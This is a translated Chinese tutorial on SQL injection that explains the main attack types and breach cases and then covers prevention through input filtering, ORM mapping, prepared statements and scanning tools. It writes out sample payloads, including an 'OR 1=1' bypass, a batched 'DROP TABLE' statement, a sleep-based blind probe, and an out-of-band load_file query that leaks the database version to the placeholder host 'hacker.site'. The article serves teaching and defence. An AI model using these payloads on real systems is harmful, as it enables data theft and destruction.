目录
基于注入的安全漏洞在OWASP 十大安全风险中排名第一,它们允许攻击者将恶意代码应用到信息系统中,其中一种机制是SQL 注入攻击。针对依赖动态数据库但缺乏足够输入验证的 Web 应用程序,可以通过SQL 注入攻击来访问和管理后端数据库。
备注:SQL注入,又被成为SQLi。
本文深入探讨了基于 SQL 注入的安全风险以及防止此类攻击的各种最佳实践和工具。
- SQL 注入漏洞
- SQLi 安全评估
- SQLi攻击的类型
- 攻击者如何执行 SQLi
- 最近的 SQLi 攻击案例
- 如何防止SQLi注入攻击
- 防止、检测和修复 SQLi 漏洞的工具
- 总结
SQL 注入漏洞
当恶意用户执行 SQL 注入 (SQLi) 攻击时,他们通常打算使用恶意 SQL 语句来操纵 Web 应用程序的数据库服务器。这通常是由黑客在应用防火墙中寻找易受攻击点,绕过访问和检索数据库内容所需的身份验证, 在后端数据库执行未经授权的 SQL 注入命令。
攻击者通常会开发 SQL 注入命令来执行各种恶意行为,例如:
- 在数据库中检索用户凭据
- 筛选和获取关键系统数据
- 向数据库追加新数据
- 从数据库中删除表和记录
- 使用后端数据库服务器访问操作系统
SQLI 安全评估
备注:常见漏洞评分系统计算器
SQLi攻击的类型
SQLi 是一种常见且有据可查的攻击策略,往往会造成严重的业务后果,例如未经授权查看凭据和获得对应用程序数据库的管理访问权限。
带内 SQL 注入(In-band SQLi)
“ 带内 SQL 注入”,就是说攻击者可以直接与受害主机发生交互,就像面对面一样的。有人比喻成,攻击者与受害服务器之间有一条“信息通道”,通过这条通道攻击者可以获取到想要的信息。
基于错误消息的 SQLi
攻击者依靠数据库服务器中的错误消息来了解数据库结构。有时,错误消息可以提供足够的数据来推导整个数据库结构和数据。有以下几种类型:
基于联合查询的 SQLi
联合查询 SQL 的注入,这是最简单的注入类型,通常在通过 order by 判断 SQL 语句查询结果的列数后,使用 union select 或其他语句来直接查询数据,数据直接回显。
逻辑推理 SQLi
在逻辑推理 SQLi技术中,黑客发送恶意数据负载,然后使用 Web 应用程序的响应重建数据库服务器的结构。在这其中,Web 应用程序实际上并未检索数据,因此攻击者无法使用发起此类攻击所用的相同通信通道查看攻击结果。逻辑推理 SQLi,有以下几种类型:
基于布尔值的 SQLi
布尔型注入,构造一条布尔语句通过 AND 与前面进行逻辑上的连接,当这条布尔语句为真时,页面应该显示正常,当这条语句为假时,页面显示不正常或是少显示了一些东西。值得注意的是,在实际中,布尔值假时的表现可能为 HTTP 500,真时的表现为 HTTP 200,以及还有其他各种情况,这也是逻辑推理的真谛。
基于时间的 SQLi
原理大致如下,当一个查询结果为真时,则让数据库等待一定时间返回,否则立即返回,等待的表现是浏览器未刷新。
MySQL、MSSQL 下,当查询结果为真时利用时间函数来进行休眠,例如:
and if(ascii(substr(database(),1,1))>100,sleep(10),null)
带外 SQLi(Out-of-Band SQLi)
Out-of-Band SQLi,简称OOB。
SQL 注入攻击中,攻击者的 Payload 代码成功执行了,但由于各种因素所致,结果无法通过 HTTP Response 来答复攻击者的 HTTP Request,攻击者也就无法从这种“信道”获取 payload 产生的数据。而 OOB 中,攻击者通过构造特殊的 Payload,让受害主机向指定主机发送 HTTP 请求或 DNS 查询,而这些请求报文中携带了查询结果的数据。
如 MySQL 下有:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
攻击者如何执行 SQLi
网页 SQLi
当 Web 应用程序要求用户输入时,一些攻击者会提供在数据库上不知不觉地运行的 SQL 语句。本节探讨攻击者如何在用户输入时生成有效的 SQL 语句。
基于 1=1 的 SQLi
攻击者使用 OR 语句访问表中的所有记录。当提示输入用户 ID 时,攻击者输入 105 OR 1=1。如果 Web 应用程序缺乏足够的输入验证,则接受此语句并生成以下形式的 SQL 命令:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
此查询访问并显示用户表中的所有记录,因为 1=1 始终为 TRUE。
基于“=”的 SQLi
攻击者使用 OR 语句来获取相关数据的组合。当提示输入用户名和密码时,他们会在两个字段中输入“或”“=”。然后数据库服务器执行以下形式的命令:
SELECT * FROM Users WHERE Name =”” or “”=”” AND Pass =”” or “”=””
此命令返回用户表中的每一行,因为 OR “=”对于用户名和密码始终为真。
基于批处理语句的 SQLi
现代数据库服务器都会支持批处理语句,黑客可能会利用这些语句来针对特定记录或表。例如,当提示输入用户 ID 时,他们输入 105;DROP TABLE Suppliers。这将执行以下形式的有效语句:
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
这将从用户记录中删除名字为Suppliers的数据表。
最近的 SQLi 攻击案例
成功的 SQLi 攻击可以用来篡改现有数据、泄露关键信息、获得网络管理权限。
SQLi 攻击企业系统的案例包括:
2019 年保加利亚国家税务局数据泄露
2019 年 7 月 15 日,一名匿名黑客宣布他们成功在国家税务机关的服务器上部署了 SQL 注入。黑客在 57 个文件夹中提取了 11 GB 数据,其中包含超过 600 万人的姓名和身份信息。这些文件信息还包括公民的社会保障支付、税收、在线投注数据、债务、公司以及收入信息。
2020/2021 年Accellion 数据泄露
攻击者利用 SQL 注入漏洞获得对 Accellion 文件传输设备 (FTA) 的初始访问权限,并导致大规模数据泄露,影响到不同行业和多个国家的多家公司。受害者的数据开始出现在勒索软件论坛 CLOP LEAKS 上。
如何防止SQLi注入攻击
预防 SQLi 攻击是一个复杂而严格的过程,因为预防技术因使用的编程语言、SQL 数据库引擎和所处理的 SQLi 类型而异。本节探讨防止 SQL 注入漏洞的工具和最佳实践。
防止 SQLi 漏洞的最佳实践
保护 Web 应用程序免受 SQLi 攻击的一些战略原则和实践包括:
培训和风险意识
参与开发和管理应用程序的每个人都应该了解 SQL 注入的风险和影响。
过滤用户输入
数据库管理员永远不应该相信用户输入。在数据传递给数据库服务器之前,内部和外部用户的输入都应该被过滤和验证。
使用基于白名单的过滤器
攻击者总是会开发巧妙的方法来规避黑名单。白名单仅允许某些用户访问受保护的系统来防止攻击。
使用较新的网络技术
软件更新通常包括针对已发现漏洞的补丁。黑客通常依靠这些漏洞来部署恶意负载。使用最新补丁版本的开发环境和框架将符合合规性标准,并保护 Web 应用程序免受攻击,因为大多数软件组织都试图领先于黑客。
定期扫描
攻击者通过他们在系统代码中发现的漏洞注入恶意输入。因此,安全团队应该使用正确的工具进行 SQL 漏洞评估,以在攻击者利用它们之前找到任何可能的漏洞。
实用的预防SQL注入技巧
为防止 SQL 注入攻击,请将所有用户输入视为潜在的恶意输入,并遵循一些编程指南:
过滤用户输入
攻击者要成功执行 SQL 注入,他需要植入一些由 Web 应用程序的数据库运行的代码。因此,应首先验证所有用户输入,并将其限制为所需的字符。例如,你可以要求用户输入的用户名、密码和电子邮件地址等,不是数据库中的特殊字符。以下示例为 PHP 中的过滤掉用户输入:
if (preg_match("/[^A-Za-z0-9]/", $username) ||
(preg_match("/[^A-Za-z0-9\!_-]/", $password) ||
(preg_match("/[^A-Za-z0-9_-@]/", $email)) {
echo "Invalid Characters!";
} else {
# Run Database Command
}
数据库映射
大多数现代 Web 框架都提供了一些数据库处理的抽象。例如Laravel 提供了Eloquent 查询, Java中的ORM框架。创建的对象会自动转换和存储,或从数据库中检索。在用户注册的示例中,可以通过以下方式创建用户对象:
$user = new User;
$user->username = $request->username;
$user->password = $request->password;
$user->email = $request->email;
$user->save();
生成的 SQL 语句会自动清理并防止 SQL 注入。
准备好语句
数据库映射,有些时候可能用不了。在这些情况下,请使用准备好的语句来创建 SQL 查询。这些形式的语句验证和清理用户提供的值,从而防止 SQL 注入。例如,在 PHP 中,你可以通过以下方式创建准备好的语句:
备注:在Java中,这也被称为预编译语句。
$stmt = $mysqli->prepare("INSERT INTO users(username, password, email) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $username, $password, $email) # "sss" here states, that three strings are expected.
$username = $request->username;
$password = $request->password;
$email = $request->email;
$stmt->execute();
防止、检测和修复 SQLi 漏洞的工具
定期 进行SQL 漏洞评估扫描是第一个可操作的补救措施,以保护 Web 应用程序免受 SQLi 漏洞的影响。以下是可以帮助安全团队识别和解决 SQLi 漏洞的扫描程序列表:
Crashtest Security 是一个端到端的安全测试套件,它通过快速的安全评估、风险降低和丰富的漏洞报告来简化漏洞扫描。此外,Crashtest 与开发堆栈的多层集成,从而允许团队建立持续的测试流程并消除 API 和 Web 应用程序的攻击面。
该安全平台还自动进行漏洞扫描,并在 Web 应用程序上无缝提供安全信息,从而使开发团队能够专注于干净的代码。
Acunetix
一个完整的安全测试解决方案,可用于分布式和独立系统。Acunetix与市场领先的开发框架无缝集成,并带有内置的漏洞扫描和管理功能。Acunetix 还与第三方问题跟踪器连接,以帮助进行端到端的漏洞管理。
Burp Suite
PortSwigger开发的 Web 应用程序安全测试解决方案,可帮助组织通过自动扫描对抗威胁。该套件还包括渗透测试功能,可用于识别 SQLi 攻击对 Web 服务器的影响。该套件提供企业版和专业版,为 Web 应用程序安全提供不同的漏洞管理工具。
Imperva 数据库安全
Imperva是一个数据库风险与合规管理平台,可为组织数据资产提供分析、响应和保护。该平台与任何数据库集成,因此一旦部署了 Imperva,组织就可以使用其全局预配置的报告、策略和模板。
总结
据统计, 8% 的网站和Web应用程序至少存在一个漏洞。此外,攻击者可以通过多种方式利用 SQLi 漏洞通过未经授权的数据库访问来破坏 Web 应用程序。
为了解决这个问题, 就需要我们通过持续的漏洞扫描和测试帮助组织保护他们的 Web应用程序和 API免受注入攻击。此外,安全平台无缝融入 DevOps 工具链,使组织可以能够开发和部署更安全的 javascript、Web 应用程序和 API。
译文链接: What Is SQL Injection? Types, Examples, Prevention (Updated)